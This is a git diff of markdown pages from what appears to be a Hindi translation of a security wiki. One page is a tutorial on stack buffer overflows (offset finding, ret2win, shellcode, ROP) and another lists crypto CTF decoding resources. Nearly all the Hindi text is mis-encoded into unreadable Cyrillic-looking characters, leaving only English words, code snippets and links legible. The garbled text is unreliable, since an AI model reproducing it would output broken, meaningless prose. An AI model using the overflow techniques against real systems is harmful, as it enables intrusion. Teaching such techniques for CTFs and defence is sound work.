рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИред +рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдЖрдорддреМрд░ рдкрд░ рдЗрд╕рд▓рд┐рдП рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди **рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рдЙрди рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЕрдзрд┐рдХ рдорд╛рддреНрд░рд╛ рдХреА рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрд╡рдВрдЯрд┐рдд рд╣реИрдВ**, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдиреНрдп рднрд╛рдЧреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИред -рдЗрд╕рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рдХрд╛рд░реНрдп рд╣реИрдВ: **`strcpy`, `strcat`, `sprintf`, `gets`**... рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдРрд╕реЗ рдХрд╛рд░реНрдп рдЬреИрд╕реЗ **`fgets`**, **`read` & `memcpy`** рдЬреЛ **рд▓рдВрдмрд╛рдИ рддрд░реНрдХ** рд▓реЗрддреЗ рд╣реИрдВ, рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдВрдмрд╛рдИ рдЖрд╡рдВрдЯрд┐рдд рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ рддреЛ рдПрдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ: **`strcpy`, `strcat`, `sprintf`, `gets`**... рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ **`fgets`**, **`read` & `memcpy`** рдЬреЛ **рд▓рдВрдмрд╛рдИ рддрд░реНрдХ** рд▓реЗрддреЗ рд╣реИрдВ, рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдВрдмрд╛рдИ рдЖрд╡рдВрдЯрд┐рдд рд▓рдВрдмрд╛рдИ рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ рддреЛ рдЙрдиреНрд╣реЗрдВ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: ```c void vulnerable() { char buffer[128]; @@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer); ``` ### Stack Overflows рдСрдлрд╕реЗрдЯреНрд╕ рдЦреЛрдЬрдирд╛ -Stack overflows рдЦреЛрдЬрдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХрд╛ `A`s рдХрд╛ рдмрд╣реБрдд рдмрдбрд╝рд╛ рдЗрдирдкреБрдЯ рджреЗрдирд╛ рд╣реИ (рдЬреИрд╕реЗ `python3 -c 'print("A"*1000)'`) рдФрд░ рдПрдХ `Segmentation Fault` рдХреА рдЙрдореНрдореАрдж рдХрд░рдирд╛ рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ **рдкрддрд╛ `0x41414141` рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЧрдИ рдереА**ред +Stack overflows рдЦреЛрдЬрдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХрд╛ рдмрд╣реБрдд рдмрдбрд╝реЗ `A`s (рдЬреИрд╕реЗ `python3 -c 'print("A"*1000)'`) рдХрд╛ рдЗрдирдкреБрдЯ рджреЗрдирд╛ рд╣реИ рдФрд░ рдПрдХ `Segmentation Fault` рдХреА рдЙрдореНрдореАрдж рдХрд░рдирд╛ рд╣реИ рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ **рдкрддрд╛ `0x41414141` рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЧрдИ рдереА**ред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ Stack Overflow рдХреА рдХрдордЬреЛрд░реА рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдХрд┐ **рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рддрдирд╛ рдСрдлрд╕реЗрдЯ рдЪрд╛рд╣рд┐рдП**, рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рдПрдХ **De Bruijn рдЕрдиреБрдХреНрд░рдо** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬреЛ рдХрд┐ рдПрдХ рджрд┐рдП рдЧрдП рд╡рд░реНрдгрдорд╛рд▓рд╛ рдХреЗ рдЖрдХрд╛рд░ _k_ рдФрд░ рд▓рдВрдмрд╛рдИ _n_ рдХреЗ рдЙрдк рдЕрдиреБрдХреНрд░рдореЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ **рдЪрдХреНрд░реАрдп рдЕрдиреБрдХреНрд░рдо рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд▓рдВрдмрд╛рдИ \_n**\_\*\* рдХреЗ рд╣рд░ рд╕рдВрднрд╡ рдЙрдк рдЕрдиреБрдХреНрд░рдо** рдареАрдХ рдПрдХ рдмрд╛рд░** рдПрдХ рд╕рдиреНрдирд┐рд╣рд┐рдд рдЙрдк рдЕрдиреБрдХреНрд░рдо рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ Stack Overflow рдХреА рдХрдордЬреЛрд░реА рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдХрд┐ **рд░рд┐рдЯрд░реНрди рдкрддрд╛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рддрдирд╛ рдСрдлрд╕реЗрдЯ рдЖрд╡рд╢реНрдпрдХ рд╣реИ**, рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рдПрдХ **De Bruijn рдЕрдиреБрдХреНрд░рдо** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬреЛ рдПрдХ рджрд┐рдП рдЧрдП рд╡рд░реНрдгрдорд╛рд▓рд╛ рдХреЗ рдЖрдХрд╛рд░ _k_ рдФрд░ рд▓рдВрдмрд╛рдИ _n_ рдХреЗ рдЙрдк рдЕрдиреБрдХреНрд░рдореЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ **рдЪрдХреНрд░реАрдп рдЕрдиреБрдХреНрд░рдо рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд▓рдВрдмрд╛рдИ _n_ рдХрд╛ рд╣рд░ рд╕рдВрднрд╡ рдЙрдк рдЕрдиреБрдХреНрд░рдо рдареАрдХ рдПрдХ рдмрд╛рд░ рдПрдХ рд╕рдиреНрдирд┐рд╣рд┐рдд рдЙрдк рдЕрдиреБрдХреНрд░рдо рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИ**ред -рдЗрд╕ рддрд░рд╣, EIP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдСрдлрд╕реЗрдЯ рдХреЛ рд╣рд╛рде рд╕реЗ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдЗрди рдЕрдиреБрдХреНрд░рдореЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рдкреИрдбрд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ рдлрд┐рд░ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдУрд╡рд░рд░рд╛рдЗрдЯрд┐рдВрдЧ рдХреЗ рдЕрдВрдд рдореЗрдВ рдХреМрди рд╕реЗ рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдСрдлрд╕реЗрдЯ рдерд╛ред +рдЗрд╕ рддрд░рд╣, EIP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдСрдлрд╕реЗрдЯ рдХреЛ рд╣рд╛рде рд╕реЗ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдЗрди рдЕрдиреБрдХреНрд░рдореЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рдкреИрдбрд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрди рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдСрдлрд╕реЗрдЯ рдвреВрдВрдврдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреЛ рдЗрд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рдЕрдВрдд рдореЗрдВ рд╣реИрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП **pwntools** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: ```python @@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## рд╕реНрдЯреИрдХ рдУрд╡рд░рдлреНрд▓реЛрдЬрд╝ рдХрд╛ рд╢реЛрд╖рдг -рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рджреМрд░рд╛рди (рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рдЖрдХрд╛рд░ рдкрд░реНрдпрд╛рдкреНрдд рдмрдбрд╝рд╛ рд╣реИ) рдЖрдк рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ **EBP/RBP рдФрд░ EIP/RIP (рдпрд╛ рдЗрд╕рд╕реЗ рднреА рдЕрдзрд┐рдХ)** рддрдХ рдирд╣реАрдВ рдкрд╣реБрдБрдЪ рдЬрд╛рддреЗред\ +рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рджреМрд░рд╛рди (рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рдЖрдХрд╛рд░ рдкрд░реНрдпрд╛рдкреНрдд рдмрдбрд╝рд╛ рд╣реИ) рдЖрдк рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рдЖрдк рд╕реБрд░рдХреНрд╖рд┐рдд **EBP/RBP рдФрд░ EIP/RIP (рдпрд╛ рдЗрд╕рд╕реЗ рднреА рдЕрдзрд┐рдХ)** рддрдХ рдирд╣реАрдВ рдкрд╣реБрдБрдЪ рдЬрд╛рддреЗред\ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХрд╛ **рд░рд┐рдЯрд░реНрди рдкрддреЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛** рд╣реИ рддрд╛рдХрд┐ рдЬрдм рдлрд╝рдВрдХреНрд╢рди рд╕рдорд╛рдкреНрдд рд╣реЛ, рддреЛ **рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдЙрд╕ рдкрддреЗ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рд╣реЛ рдЬрд╛рдП рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рд╣реИ**ред -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдиреНрдп рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ, рдХреЗрд╡рд▓ **рд╕реНрдЯреИрдХ рдореЗрдВ рдХреБрдЫ рдЪрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛** рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдЖрд╕рд╛рди CTF рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ)ред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдиреНрдп рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдХреЗрд╡рд▓ **рд╕реНрдЯреИрдХ рдореЗрдВ рдХреБрдЫ рдЪрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛** рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдЖрд╕рд╛рди CTF рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ)ред ### Ret2win -рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА CTF рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ, рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдВрджрд░ рдПрдХ **рдлрдВрдХреНрд╢рди** рд╣реИ рдЬреЛ **рдХрднреА рдХреЙрд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛** рдФрд░ рдЬрд┐рд╕реЗ **рдЬреАрддрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛**ред рдЗрди рдЪреБрдиреМрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХреЗрд╡рд▓ **рд░рд┐рдЯрд░реНрди рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ** рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ **рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ (рдЖрдорддреМрд░ рдкрд░ [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) рдЕрдХреНрд╖рдо рд╣реЛрдЧрд╛) рддрд╛рдХрд┐ рдЬрдм рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди рд▓реМрдЯреЗ, рддреЛ рдЫрд┐рдкрд╛ рд╣реБрдЖ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: +рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА CTF рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ, рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдВрджрд░ рдПрдХ **рдлрдВрдХреНрд╢рди** рд╣реИ рдЬреЛ **рдХрднреА рдирд╣реАрдВ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛** рдФрд░ рдЬрд┐рд╕реЗ **рдЖрдкрдХреЛ рдЬреАрддрдиреЗ рдХреЗ рд▓рд┐рдП рдмреБрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛**ред рдЗрди рдЪреБрдиреМрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХреЗрд╡рд▓ **рд░рд┐рдЯрд░реНрди рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ** рдвреВрдВрдврдирд╛ рд╣реИ рдФрд░ **рдмреБрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдлрдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** рд▓рдЧрд╛рдирд╛ рд╣реИ (рдЖрдорддреМрд░ рдкрд░ [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) рдЕрдХреНрд╖рдо рд╣реЛрдЧрд╛) рддрд╛рдХрд┐ рдЬрдм рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди рд▓реМрдЯреЗ, рддреЛ рдЫрд┐рдкрд╛ рд╣реБрдЖ рдлрд╝рдВрдХреНрд╢рди рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдП: {{#ref}} ret2win/ @@ -65,7 +65,7 @@ ret2win/ ### рд╕реНрдЯреИрдХ рд╢реЗрд▓рдХреЛрдб -рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рд╢реЗрд▓рдХреЛрдб рд░рдЦ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд EIP/RIP рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрдж рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдордирдЪрд╛рд╣рд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рд╢реЗрд▓рдХреЛрдб рд░рдЦ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд EIP/RIP рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрдж рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ: {{#ref}} stack-shellcode/ @@ -73,7 +73,7 @@ stack-shellcode/ ### ROP & Ret2... рддрдХрдиреАрдХреЗрдВ -рдпрд╣ рддрдХрдиреАрдХ рдореБрдЦреНрдп рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореМрд▓рд┐рдХ рдврд╛рдВрдЪрд╛ рд╣реИ: **рдХреЛрдИ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдЯреИрдХ (NX)**ред рдФрд░ рдпрд╣ рдХрдИ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ (ret2lib, ret2syscall...) рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдмрд╛рдЗрдирд░реА рдореЗрдВ рдореМрдЬреВрджрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдЪрд╛рд╣рд╛ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВрдЧреА: +рдпрд╣ рддрдХрдиреАрдХ рдореБрдЦреНрдп рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореМрд▓рд┐рдХ рдврд╛рдВрдЪрд╛ рд╣реИ: **рдХреЛрдИ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдЯреИрдХ (NX)**ред рдФрд░ рдпрд╣ рдХрдИ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ (ret2lib, ret2syscall...) рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдмрд╛рдЗрдирд░реА рдореЗрдВ рдореМрдЬреВрджрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВрдЧреА: {{#ref}} ../rop-return-oriented-programing/ diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index 9e0b78b39..044d20028 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -25,7 +25,7 @@ ## Encoders -Most of encoded data can be decoded with these 2 ressources: +рдЕрдзрд┐рдХрд╛рдВрд╢ рдПрдиреНрдХреЛрдбреЗрдб рдбреЗрдЯрд╛ рдХреЛ рдЗрди 2 рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде рдбрд┐рдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ ! +- [https://quipqiup.com/](https://quipqiup.com) - рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛! #### Caesar - ROTx Autosolvers @@ -45,7 +45,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +рдЗрди рд╕рднреА рдмреЗрд╕реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - `BQ%]q@psCd@rH0l` @@ -122,7 +122,7 @@ Check all these bases with: [https://github.com/dhondta/python-codext](https://g ``` - [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 рдореГрдд: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -### рдореЛрд░реНрд╕ +### Morse ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` @@ -178,27 +178,27 @@ drnajapajrna ### A1Z26 -рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рдЙрдирдХреЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рдореЗрдВ рдмрджрд▓рдирд╛ +рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рдЙрдирдХреЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░реЗрдВ ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` ### Affine Cipher Encode -рдЕрдХреНрд╖рд░ рдХреЛ рд╕рдВрдЦреНрдпрд╛ `(ax+b)%26` (_a_ рдФрд░ _b_ рдХреБрдВрдЬреА рд╣реИрдВ рдФрд░ _x_ рдЕрдХреНрд╖рд░ рд╣реИ) рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдЕрдХреНрд╖рд░ рдореЗрдВред +Letter to num `(ax+b)%26` (_a_ рдФрд░ _b_ рдХреБрдВрдЬреА рд╣реИрдВ рдФрд░ _x_ рдЕрдХреНрд╖рд░ рд╣реИ) рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдЕрдХреНрд╖рд░ рдореЗрдВ рдмрджрд▓реЗрдВ ``` krodfdudfrod ``` -### SMS рдХреЛрдб +### SMS Code -**Multitap** [рдПрдХ рдЕрдХреНрд╖рд░ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ](https://www.dcode.fr/word-letter-change) рдореЛрдмрд╛рдЗрд▓ [рдлреЛрди рдХреАрдкреИрдб](https://www.dcode.fr/phone-keypad-cipher) рдкрд░ рд╕рдВрдмрдВрдзрд┐рдд рдХреБрдВрдЬреА рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рджреЛрд╣рд░рд╛рдП рдЧрдП рдЕрдВрдХреЛрдВ рд╕реЗ (рдпрд╣ рдореЛрдб SMS рд▓рд┐рдЦрддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧ 